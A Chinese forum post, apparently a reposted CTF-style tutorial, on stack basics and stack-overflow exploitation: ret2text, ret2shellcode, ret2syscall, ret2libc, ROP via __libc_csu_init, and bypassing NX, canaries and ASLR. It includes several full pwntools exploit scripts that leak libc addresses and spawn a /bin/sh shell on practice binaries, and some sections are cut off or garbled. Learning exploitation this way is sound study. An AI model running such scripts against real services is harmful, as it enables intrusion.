12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 2103|回复: 0

栈基础 & 栈溢出 & 栈溢出进阶

[复制链接]

345

主题

345

帖子

700

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
700
发表于 2019-8-10 23:33:27 | 显示全部楼层 |阅读模式
author : shavchen
title : stack-ooverflow exploit
栈基础

内存四区


  • 代码区(.text):这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指令执行。
  • 数据区(.data):用于存储全局变量和静态变量等。
  • 堆区:动态地分配和回收内存,进程可以在堆区动态地请求一定大小的内存,并在用完后归还给堆区。地址由高到低生长
  • 栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行;此外局部变量也存储在栈区。地址由低到高生长
    BSS段:(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配。

栈的概念


  • 一种数据结构,数据存储方式为先进后出,压栈(push)和出栈(pop)
  • 每个程序都有自己的进程地址空间,进程地址空间中的某一部分就是该程序的栈,用于保存函数调用信息和局部变量
  • 程序的栈是从进程空间的高地址向低地址增长的,数据是从低地址向高地址存放的

函数调用


  • 函数调用经常嵌套,在同一时刻,堆栈中会有多个函数的信息。
栈帧


  • 每个未完成运行的函数占用一个独立的连续区域,称作栈帧。

基本流程

;调用前push arg3               ;32位esp-4,64位esp-8push arg2push arg1call func               ;1. 压入当前指令的地址,即保存返回地址 2. jmp到调用函数的入口地址push ebp                ;保存旧栈帧的底部,在func执行完成后在pop ebpmov ebp,esp         ;设置新栈帧的底部sub esp,xxx         ;设置新栈帧的顶部


详细流程

int func_b(int b1,int b2){  int var_b1,var_b2;  var_b1 = b1+b2;  var_b2 = b1-b2;  return var_b1 * var_b2;}int func_a(int a1,int a2){  int var_a;  var_a = fuc_b(a1+a2);  return var_a;}int main(int argc,char** argv,char **envp){  int var_main;  var_main = func_A(4,3);  return 0;}


参数传递


  • x86

  • 通过栈传参
  • 先压入最后一个参数


  • x64

  • rdi rsi rdx rcx r8 r9 接收后六个参数
  • 之后的参数通过栈传参


  • 64位的利用方式
    构造rop链
    >
    > 1. ROPgadget --binary level3_x64 --only 'pop|ret'
    >
    > c > # Gadgets information > > 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006b0 : pop r14 ; pop r15 ; ret > 0x00000000004006b2 : pop r15 ; ret > 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret > 0x0000000000400550 : pop rbp ; ret > 0x00000000004006b3 : pop rdi ; ret > 0x00000000004006b1 : pop rsi ; pop r15 ; ret > 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret > 0x0000000000400499 : ret >
    >
    > 2. 依次找pop rdi,pop rsi..,pop r9 ,这些寄存器里面存放的是参数,可以通过pop覆盖其中的内容

栈溢出

栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身申请的字节数,因而导致栈中与之相邻的变量的值被改变。
栈溢出目的


  • 破坏程序内存结构
  • 执行system(/bin/sh)
  • 执行shellcode
栈溢出思路

判断溢出点

常见的危险函数:
输入:gets scanf vscanf
输出:sprintf
字符串:strcpy strcat bcopy
判断padding


  • 计算我们所要操作的地址和所要覆盖的地址的距离
  • IDA静态分析中常见的三种索引方式
a. 相对于栈基地址的索引,通过查看EBP相对偏移获得 char name[32]; [esp+0h] [ebp-28h]  ==> 0x28+0x4
b. 相对于栈顶指针的索引,需要加上ESP到EBP的偏移,然后转换为a方式
c. 直接地址索引,相当于直接给出了地址
覆写内容

覆盖函数返回地址
覆盖栈上某个变量的内容,如局部变量和参数
Ret2text

返回到某个代码段的地址,如.text:0804863A    mov    dword ptr [esp], offset command ; "/bin/sh"
要求我们控制程序执行程序本身已有的代码
Ret2shellocde

跳转到我们在栈中输入的代码,一般在没有开启NX保护的时候使用.
ret2shellcode的目标即在栈上写入布局好的shellcode,利用ret_address返回到shellcode处执行代码。
Ret2syscal

让程序返回到系统调用,调用syscall或execve执行某个程序,对于静态编译的程序,没有libc,只好通过execve执行shellcode了。
syscall    --->rax syscall 0x3b  ==>execve rax​             --->rdi  path  ==> /bin/sh        rdi​             --->rsi  argv   /                           rsi​             --->rdx env                                         rdxint execve(const char *filename, char *const argv[],char *const envp[]);      execve("/bin/sh",null.null) 等同于system("bin/sh")syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。
当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。
找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'
静态编译的程序没有system等函数的链接支持,故一般利用ret2syscall构造栈溢出
Ret2libc

如找到system函数在动态链接库libc中的地址,将return的内容覆盖为该地址,跳转执行
​       leak出libc_addr + call system + 执行system('/bin/sh')
​       难点:libc动态加载,每次基址都会变化,如何泄露libc的地址?
​       思路:got ---> read_addr() --->libc
​                  read_addr -  libc_base = offsset (不变)
​                  libc_base = read_addr - offset
​        bin/sh的来源 : 程序本身或libc或者写一个/bin/sh到bss段
​                 binsh = libc.search("/bin/sh").next()
其它

判断是否是否为动态编译
⚡ ⚙  ~/stack/day_4  ldd ret2text   linux-gate.so.1 =>  (0xf7f36000)  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d60000)  -->libc的版本,也可以vmmap查看  /lib/ld-linux.so.2 (0xf7f38000)判断libc的版本
a. 本地直接通过vmmap查看b. 远程的根据函数后几位的偏移得到      libc-database          link:https://github.com/lieanu/libc-database.git          usage: ./find func_name offset          exemplify: ./find gets 5a0          effection:                   ➜  libc-database git:(master) ./find gets 5a0                  archive-eglibc (id libc6_2.17-93ubuntu4_i386)c: 5a0怎么来的?  .got.plt:0804A010 off_804A010     dd offset gets   pwndbg> x/20gz 0x0804a0100x804a010 : 0x08048476f7e643e0  0x08048496f7e64ca00x804a020 :   0x080484b6080484a6  0xf7e65360f7e1d5400x804a030 : 0x080484f6080484e6  0x00000000000000000x804a040 : 0x00000000f7fb75a0  0x00000000000000000x804a050:    0x0000000000000000  0x00000000000000000x804a060 :    0x00000000f7fb7d60  0x00000000000000000x804a070:    0x0000000000000000  0x00000000000000000x804a080:    0x0000000000000000  0x00000000000000000x804a090:    0x0000000000000000  0x00000000000000000x804a0a0:    0x0000000000000000  0x000000000000000064位程序和32位程序的区别
1. 传参方式      64位:rdi rsi rdx rcx r8 r9       32位:通过栈传参2. syscall & int 80
栈空间布局

// 伪代码 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C()-------------------------------------// B的压栈流程 ---> ESP                                  //指向栈顶,随着压栈不断抬高        buf[128]                    //局部变量        EBP                         //保存旧栈帧的底部,4字节        return                      //这是B的返回地址,即C        arg_b1        arg_b2        arg_b3              -->EBP                                //指向当前栈帧的底部,随着压栈不断抬高,指向旧栈帧栈溢出原理


  • 当局部变量buf超过128字节,会向下覆盖EBP,return以及参数的内容。
  • 构造return

  • 将buf 的 132到136字节的空间输入shellcode的地址
  • 会跳转执行shellcode
保护机制

NX


  • 保护原理
堆栈不可执行保护,bss段也不可执行,windows下为DEP,可通过gcc -z execstack关闭
开启NX后再把return的内容覆盖为一段shellcode,在开启NX的时候,不能执行。


  • 绕过原理 : 32位
实现A函数执行的方法,即构建ROP链

  • return ---> fake_addr ---> A
  • 将B的参数从arg_b2到arg_b3也覆盖成A的参数
// 伪代码 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C(int arg_c1,int arg_c2)-------------------------------------// B的压栈流程 ---> ESP                                          buf[128]                            EBP                                 return                      //把return的内容覆盖为A的地址        arg_b1                      //程序在调用A函数的时候,把下一个栈数据当作A的返回地址,因此需要在再下一条语句的时候开始覆盖参数        arg_b2  arg_a2       //将B的参数用A的参数覆盖掉        arg_b3  arg_a1          -->EBP                                
借鉴上面的方法,在调用A之后,再调用C,构建ROP链

  • 这时不能把系统认为的A的返回地址的arg_b1覆盖为C的返回地址,不然会向上覆盖arg_a2和arg_a2,导致A无法正常执行。
  • 这时需要再找一个return语句,程序里面通常含有pop-pop-ret的链
  • ROPgadget --binary --only 'pop|ret'    : 自动寻找rop链
Gadgets information============================================================0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006b0 : pop r14 ; pop r15 ; ret          //选择这个地址,代码段无NX0x00000000004006b2 : pop r15 ; ret0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400550 : pop rbp ; ret0x00000000004006b3 : pop rdi ; ret0x00000000004006b1 : pop rsi ; pop r15 ; ret0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400499 : ret

  • 将arg_b1覆盖为addr_pop_pop_ret的地址:4006b0
  • 此时将将arg_a1 pop到r14,arg_a2 pop到r15,然后ret
  • 将ret的内容覆盖为C的入口地址,即可!
  • 程序执行如下代码:
// 伪代码 A(int arg_a1,int arg_a2) B(int arg_b1,int arg_b2,int arg_b3) C(int arg_c1,int arg_c2)-------------------------------------// B的压栈流程 ---> ESP                                        buf[128]                          EBP                               return                        //-->fake_addr_A        arg_b1                        //-->4006b0  addr_pop_pop_ret        arg_b2  arg_a1         //pop r14         arg_b3    arg_a2       //pop r15        ret                           // --->fake_addr_C        0                                 // --->C的返回地址,现在没用了        arg_c1        arg_c2  -->EBP   


  • 完整流程

  • 使用buf将栈空间覆盖
  • 在B退出的时候ret到A
  • 依次取覆盖之后的A的两个参数,执行A函数
  • 返回到pop_pop_ret的地址
  • 将ret的地址覆盖为C的地址
  • 将C的返回地址置空
  • 写入C的参数
  • 执行C函数


  • 总结
A函数的功能通常时"/bin/sh"
C函数的功能为system
上述流程执行完则可以达到反弹shell的目的
由于程序不在栈上执行而是在代码段中执行,所有可以绕过NX保护机制。
Canary(金丝雀)


  • 保护原理
开启canary后,会在程序的EBP与ESP之间的位置随机插入一段md5值,占4字节或8字节。
canary为一段以 /0 结尾的一串md5值,如123456/0,起截断作用,防止打印。
在程序return之前与内核地址[fs:0x28]异或校验md5值
异或结果为1时报错退出,为0时正常ret。
几种思路

  • 如果能在栈中拿到md5值,在指定位置可以精准覆盖之。
  • 将从内核中取的md5值,设置为自己定义的值,覆盖的时候覆盖自己定义的值。


  • gcc开启canary
参数:-fstack-protector :启用保护,不过只为局部变量中含有数组的插入保护
参数:-fstack-protector-all :为所有函数插入保护
参数:-fstack-protector-strong -fstack-protector-explicit :只对明确有stack-protect 属性的函数启用保护
参数:-fo-stack-protector :禁用保护


  • 3种利用方法利用

  • 覆盖canary的最后一个字节
> 利用栈溢出将"\0"覆盖掉,则可以将canary打印出来。

  • smash
  • leak stackguard -- top


  • 查看开启的保护机制
⚡ > ~/stack/day_1> checksec leak_canary
  • '/root/stack/day_1/leak_canary'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)PIE


    • 保护原理
    让程序能装载在随机的地址,主要是代码段的地址随机化,改变的是高位的基地址。
    gdb中使用show proc info 可以显示代码段的基地址
    --enabled-default-pie开启 -no-pie关闭


    • 通常与ALSR联合使用



    ALSR


    • 保护原理
    每次加载程序,使其地址空间分布随机化,即使可执行文件开启PIE保护,还需要系统开启ASLR才会真正打乱基址。主要是堆栈和libc的地址随机化。
    修改/proc/sys/kernel/randommize_va_space来控制ASLR的开关。
    栈溢出进阶

    pwntools

    # Pwntools环境预设from pwn import *context.arch = "amd64/i386"                             #指定系统架构context.terminal = ["tmux,"splitw","-h"]     #指定分屏终端context.os = "linux"                                     #context用于预设环境# 库信息elf = ELF('./PWNME')                        # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 载入libc的库,可以通过vmmap查看/*首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如>>> e = ELF('/bin/cat')>>> print hex(e.address)    # 文件装载的基地址>>> print hex(e.symbols['write']) # plt中write函数地址>>> print hex(e.got['write'])     # GOT表中write符号的地址>>> print hex(e.plt['write'])       # PLT表中write符号的地址                    */                                       # Pwntools通信                    p = process('./pwnme')                      # 本地 process与程序交互r = remote('exploitme.example.com',3333)          # 远程# 交互recv()          # 接收数据,一直接收recv(numb=4096,timeout=default) # 指定接收字节数与超时时间                    recvuntil("111")     # 接收到111结束,可以裁剪,如.[1:4]recbline()      # 接收到换行结束recvline(n)     # 接收到n个换行结束recvall()           # 接收到EOFrecvrepeat(timeout=default) #接收到EOF或timeoutsend(data)      # 发送数据sendline(data)      # 发送一行数据,在末尾会加\nsendlineafter(delims,data) #   在程序接收到delims再发送data                  r.send(asm(shellcraft.sh()))                          # 信息通信交互                                       r.interactive()                              # send payload后接收当前的shell# 字符串与地址的转换p64(),p32()  #将字符串转化为ascii字节流u64(),u32()  #将ascii的字节流解包为字符串地址                  got & plt

    在IDA中选择view-open subview - segment可以直接查看到got和plt段
    .plt:08048440 ; __unwind {.plt:08048440                 push    ds:dword_804A004.plt:08048446                 jmp     ds:dword_804A008      ;804A008是got表的地址.plt:08048446 sub_8048440     endp
    plt段的某个地址存放着指令 jmp got
    .got.plt:0804A00C off_804A00C     dd offset printf        ; DATA XREF: _printf↑r.got.plt:0804A010 off_804A010     dd offset gets          ; DATA XREF: _gets↑r.got.plt:0804A014 off_804A014     dd offset time          ; DATA XREF: _time↑r.got.plt:0804A018 off_804A018     dd offset puts          ; DATA XREF: _puts↑r.got.plt:0804A01C off_804A01C     dd offset system        ; DATA XREF: _system↑r.got.plt:0804A020 off_804A020     dd offset __gmon_start__.got.plt:0804A020                                         ; DATA XREF: ___gmon_start__↑r.got.plt:0804A024 off_804A024     dd offset srand         ; DATA XREF: _srand↑r.got.plt:0804A028 off_804A028     dd offset __libc_start_main.got.plt:0804A028                                         ; DATA XREF: ___libc_start_main↑r.got.plt:0804A02C off_804A02C     dd offset setvbuf       ; DATA XREF: _setvbuf↑r.got.plt:0804A030 off_804A030     dd offset rand          ; DATA XREF: _rand↑r.got.plt:0804A034 off_804A034     dd offset __isoc99_scanf
    got段中存放着程序中函数的地址,可以避免每次调用某个函数的时候去libc库中寻找。


    • 函数调用流程

    • 找到plt表.plt表存放指令
    • 跳转到got表,got表存放地址,不能填在return的位置
    • 找到对应的func_addr
    • 没有的时候跳转到libc中取出函数,并缓存到got表


    • plt2leakgot
    plt["write"](1,got("write"),4)
    通过plt的write函数leak出got的地址
    libc_csu_init


    • 在所有的64位程序中都含有libc_csu_init函数
    .text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o.text:0000000000400650 ; __unwind {.text:0000000000400690.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400690                 mov     rdx, r13             // 4. 利用点,将r13给到了rdx.text:0000000000400693                 mov     rsi, r14             // 5. 控制rsi.text:0000000000400696                 mov     edi, r15d            // 6. 控制rdi的低四位.text:0000000000400699                 call    qword ptr [r12+rbx*8]    //7. 给rbx赋0,相当于call [r12].text:000000000040069D                 add     rbx, 1.text:00000000004006A1                 cmp     rbx, rbp.text:00000000004006A4                 jnz     short loc_400690.text:00000000004006A6.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j.text:00000000004006A6                 add     rsp, 8.text:00000000004006AA                 pop     rbx                  //1. 控制函数从这里执行.text:00000000004006AB                 pop     rbp.text:00000000004006AC                 pop     r12                  //8. 给r12添一个main_addr.text:00000000004006AE                 pop     r13                  //2. 通过栈控制r13.text:00000000004006B0                 pop     r14.text:00000000004006B2                 pop     r15.text:00000000004006B4                 retn                            //3. ret到 mov  rdx, r13.text:00000000004006B4 ; } // starts at 400650.text:00000000004006B4 __libc_csu_init endp//实现通过栈控制rdx

    • 目的

      • 在64位提供三个参数的用法

    • 利用原理

    • 程序在启动main函数之前,都由glibc的标准c库启动,即由libc_csu_init启动main函数
    • libc_csu_init可以获得一个有4个参数调用的地方,比如系统调用函数syscall
    如syscall--->rax syacall 0x3b ==>execve
    ​             --->rdi  path  "/bin/sh"
    ​             --->rsi  argv   
    ​             --->rdx env

    • 通过syscall调用execve,执行execve("/bin/sh",null,null),等价于system("/bin/sh")
    • syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。
    当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。

    • 找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'
    ret2_dl_runtime_resolve

    解决32位无输出函数的情况,64位使用IOfile的方式。

    • 找对应的plt中的地址
    • 跳转到对应的got表中,got中如果有,则执行对应函数
    • 如果跳转到的got对应位置没有值,got会向后累加一个地址,然后跳转到plt[0],压入两个参数,一个是index,一个是与DYNAMIC有关的参数,称为link_map(动态链接用到的名字,如puts),然后再调用dl_runtime_resolve(link_map_obj,reloc_index)
    push    cs:qword_602008           .plt:00000000004007A6                 jmp     cs:qword_602010

    • dl_runtime_resolve实际上是一个解析实际地址的函数,根据函数名称做解析,然后写回到plt的index对应的got
    • 调用完之后,会根据参数调用解析出来的地址,比如解析出来的puts函数,那么会调用puts函数,并且写入puts_got中
    • 结束后,接着运行程序
    因此,我们向DYNAMIC中写入puts字符串就可以了
    栈劫持

    整形溢出

    [实验](#程序七  :  整型溢出)
    调试

    程序一 :rop链  & _libc_csu_init

    ROP


    • IDA静态分析
    int __cdecl main(int argc, const char **argv, const char **envp){  vulnerable_function(*(_QWORD *)&argc, argv, envp);  return write(1, "Hello, World!\n", 0xEuLL);}ssize_t vulnerable_function(){  char buf; // [rsp+0h] [rbp-80h]    说明buf到rbp有0x80字节。即buf[0x80]  write(1, "Input:\n", 7uLL);  return read(0, &buf, 0x200uLL);    //从标准控制台向buf读入0x200}

    • 攻击脚本
    from pwn import *context.arch = "amd64"context.log_level = "debug"context.terminal=["tmux","splitw","-h"]if len(sys.argv) < 2:    debug=True else:    debug=Falseif debug:    p = process("./level3_x64")    elf = ELF("./level3_x64")    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")else:    p = remote("x.x.x.x",xxxx)    elf = ELF("./level3_x64")    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")def debugf():    gdb.attach(p,"b *0x400602")#debugf()padding = 0x80 * "a"padding_rbp = "junkjunk"write_plt = elf.plt["write"]    write_got = elf.got["write"]    # target : write(1,write_got,8)pop_rdi_ret = 0x4006b3pop_rsi_r15_ret = 0x4006b1main_addr = 0x40061Apayload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)  p.sendafter("Input:\n",payload)addr = u64(p.recv(6).ljust(8,"\x00"))libc.address = addr - libc.symbols["write"]binsh = libc.search("/bin/sh").next()system = libc.symbols["system"]payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)p.sendafter("Input:\n",payload)p.interactive()

    • 思路

    • 泄露system在libc中的地址
    通过write函数泄露system的地址
    先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址
    可以将第一个return的内容覆盖为plt[&quot;write&quot;]的地址
    即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上

    • 寻找rop链 rdi_pop_rsi_pop_rdx_ret,保存write函数的参数与返回地址
    64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9
    &#10140;  level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'Gadgets information============================================================0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006b0 : pop r14 ; pop r15 ; ret0x00000000004006b2 : pop r15 ; ret0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000400550 : pop rbp ; ret0x00000000004006b3 : pop rdi ; ret0x00000000004006b1 : pop rsi ; pop r15 ; ret0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400499 : ret

    • 由于在rop链中没有发现rdx,暂时不去使用rdx,因为rdx中本来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是成功率的问题,直接返回到main_addr即可
    .text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp).text:000000000040061A                 public main.text:000000000040061A main            proc near               ; DATA XREF: _start+1D↑o
    libc_csu_init


    • 解决rop链中无rdx的思路
    a. 调用libc_csu_initb. libc_csu_init有rdxc. 在libc_csu_init循环构造payload

    • libc_csu_init的内存布局
    .text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o.text:0000000000400650 ; __unwind {.text:0000000000400690.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400690                 mov     rdx, r13             // 4. 将r13给到了rdx.text:0000000000400693                 mov     rsi, r14             // 5. 控制rsi.text:0000000000400696                 mov     edi, r15d            // 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh.text:0000000000400699                 call    qword ptr [r12+rbx*8]    ;7. 给rbx赋0,相当于call [r12],                                                                                    ; 将system的地址写入其中bss中,将bss_addr写入其中.text:000000000040069D                 add     rbx, 1.text:00000000004006A1                 cmp     rbx, rbp           //9. 使rbp=1,跳过jnz.text:00000000004006A4                 jnz     short loc_400690.text:00000000004006A6.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j.text:00000000004006A6                 add     rsp, 8.text:00000000004006AA                 pop     rbx                  //1. 控制函数从这里执行.text:00000000004006AB                 pop     rbp.text:00000000004006AC                 pop     r12                  //8. 给r12添一个main_addr.text:00000000004006AE                 pop     r13                  //2. 通过栈控制r13.text:00000000004006B0                 pop     r14.text:00000000004006B2                 pop     r15.text:00000000004006B4                 retn                              //3. ret到main_addr.text:00000000004006B4 ; } // starts at 400650.text:00000000004006B4 __libc_csu_init endp//实现通过栈控制rdx

    • 空闲的bss段
    .bss:0000000000600A89                 db    ? ; 向其中写入system的地址,call [r12] ,将r12改为0x600A89 .bss:0000000000600A8A                 db    ? ;.bss:0000000000600A8B                 db    ? ;

    • 坑点

    • call    qword ptr [r12+rbx*8]  ;寄存器间接寻址,需要把system的地址写入bss
    • mov     edi, r15d                   ;只能存放4个字节,存放不了/bin/sh


    • _libc_csu_init攻击脚本实现
    from pwn import *context.arch = "amd64"context.log_level = "debug"context.terminal=["tmux","splitw","-h"]if len(sys.argv) < 2:    debug=True else:    debug=Falseif debug:    p = process("./level3_x64")    elf = ELF("./level3_x64")    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")else:    p = remote("x.x.x.x",xxxx)    elf = ELF("./level3_x64")    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")def lib_csu_init(ret_address,call,p1,p2,p3):    pop_ret7 = 0x4006AA                     libc_csu_init_addr = 0x400690       payload = 0x80*'a' + p64(0)             # padding_ebp    payload+= p64(pop_ret7)    payload+= p64(0) + p64(1) + p64(call)   #rbx rbp r12    payload+= p64(p3) + p64(p2) + p64(p1)   #r13 r14 r15    payload+= p64(libc_csu_init_addr)       #ret     payload+= p64(0)*7                      #clear rsp rbx rbp r12  r13 r14 r15    payload+= p64(ret_address)    p.sendafter("Input:\n",payload)def debugf():    gdb.attach(p,"b *0x400602")#debugf()write_plt = elf.plt["write"]    write_got = elf.got["write"]    read_got = elf.got["read"]  main_addr = 0x40061Abss_addr = 0x600A89lib_csu_init(main_addr,write_got,1,write_got,0x8)write_addr = u64(p.recv(8))log.success("write_addr:" + hex(write_addr))libc.address = write_addr - libc.symbols["write"]log.success("libc.address:" + hex(libc.address))lib_csu_init(main_addr,read_got,0,bss_addr,16)  # 16 is the param of read # read system to bss_addr and write "/bin/sh to bss_addr+8"#binsh = libc.search("/bin/sh").next() not need anymoresystem = libc.symbols["system"]p.send(p64(system)+"/bin/sh\x00")#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)p.interactive()

    • 调试

    • 设置断点到* 0x4006AA


    • 第一次循环结束后



    • 返回到main


    • 打印libc的地址


    • 查看bss_addr的内容

    程序二 :canary


    • IDA静态分析
    int __cdecl main(int argc, const char **argv, const char **envp){  init();  puts("Hello Hacker!");  vuln();  return 0;}unsigned int vuln(){  signed int i; // [esp+4h] [ebp-74h]  char buf; // [esp+8h] [ebp-70h]  unsigned int v3; // [esp+6Ch] [ebp-Ch]  v3 = __readgsdword(0x14u);                    //从fs:28h读取canary到栈  for ( i = 0; i  在IDA中静态查看s的地址,取其偏移地址080486AB
    >
    > 在gdb中 b *0x080486AB 即可</p></blockquote>

    • 计算填充长度
    EAX  0xffffce8c —&#9656; 0x8048329 &#9666;— 0x696c5f5f /* '__libc_start_main' */EBX  0x0ECX  0xffffffffEDX  0xf7fb8870 (_IO_stdfile_1_lock) &#9666;— 0x0EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1b1db0ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1b1db0EBP  0xffffcef8 &#9666;— 0x0ESP  0xffffce70 —&#9656; 0x804876c &#9666;— 0x72656854 /* 'There is something amazing here, do you know anything?'/*EDX接收s填充长度为EBP-EAX = 0x6c*/

    • 覆写返回地址到system("/bin/sh");
    a. 使用IDA查看bin/sh的地址
    >
    > assembly > .text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh" > .text:08048641                 call    _system > >
    攻击脚本
    </ul>from pwn import *context.log_level = "debug"                         # context预设环境context.arch = "i386"context.terminal = ["tmux","splitw","-h"]  # tmux   垂直分屏if len(sys.argv) < 2:    debug = True else:    debug = False if debug:        p = process("./ret2text")          # process表示当前程序的发送和接收(交互)        elf = ELF("./ret2text")            # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')      # 载入libc的库,可以通过vmmap查看 else:    p = remote("x.x.x.x",1088)    elf = ELF("./ret2text")                libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')      def debugf():    gdb.attach(p,"b *0x80486AB")debugf()padding = (0x64+8)*aebp_padding = "aaaa"system_addr = 0x0804863Apayload = padding + ebp_padding + p32(system_addr)p.sendlineafter("do you know anything?\n",payload)  #需要加"\n",因为puts在程序最后加"\n"p.interactive()     # 接收shell程序五 :ret2shellcode


    • IDA静态分析
    int __cdecl main(int argc, const char **argv, const char **envp){  char s; // [esp+1Ch] [ebp-64h]  setvbuf(stdout, 0, 2, 0);  setvbuf(stdin, 0, 1, 0);  puts("No system for you this time !!!");  gets(&s);  strncpy(buf2, &s, 0x64u);  printf("bye bye ~");  return 0;}

    • 设置断点
    .text:08048590                 mov     [esp], eax      ; s      设置到断点gets之前.text:08048593                 call    _gets

    • 溢出地址
    .bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o

    • 攻击脚本
    #!/usr/bin/env pythonfrom pwn import *context.arch ="i386"context.log_level = "debug"context.terminal = ["tmux","splitw","-h"]if len(sys.argv < 2):    debug = True else:    debug = Falseif debug:    p = process('./ret2shellcode')    elf = ELF('./ret2shellcode')    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')else:    p = remote('xx.xx.xx.xx',1111)    elf = ELF('./ret2shellcode')    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')def debugf():    gdb.attach(p,"b *08048590")debugf()#padding     = 0x64+8#padding_ebp = 0x4shellcode = asm(shellcraft.sh())payload = shellcode.ljust(0x6c,"a") + "junk"buf2_addr = 0x804a080payload += p32(buf2_addr)p.sendlineafter("No system for you this time !!!\n",payload)p.interactive()

    • 流程

    • 64字节shelllcode覆盖s
    • 填充8字节到达main函数的ebp
    • &quot;junk&quot;覆盖掉rbp的内容
    • 将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)


    • 注意点
    buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。
    ljust函数用于补充指定大小的字节
    asm(shellcraft.sh())用于自动生成shellcode
    手写shellcode
    shellcode = asm("mov ebp,esp""push ebp""mov eax,08808188a"   ;向0x08808188a传入一个bin/sh"mov [esp],eax""call system")


    • 调试

    • finish到main函数
    • buf的内存布局
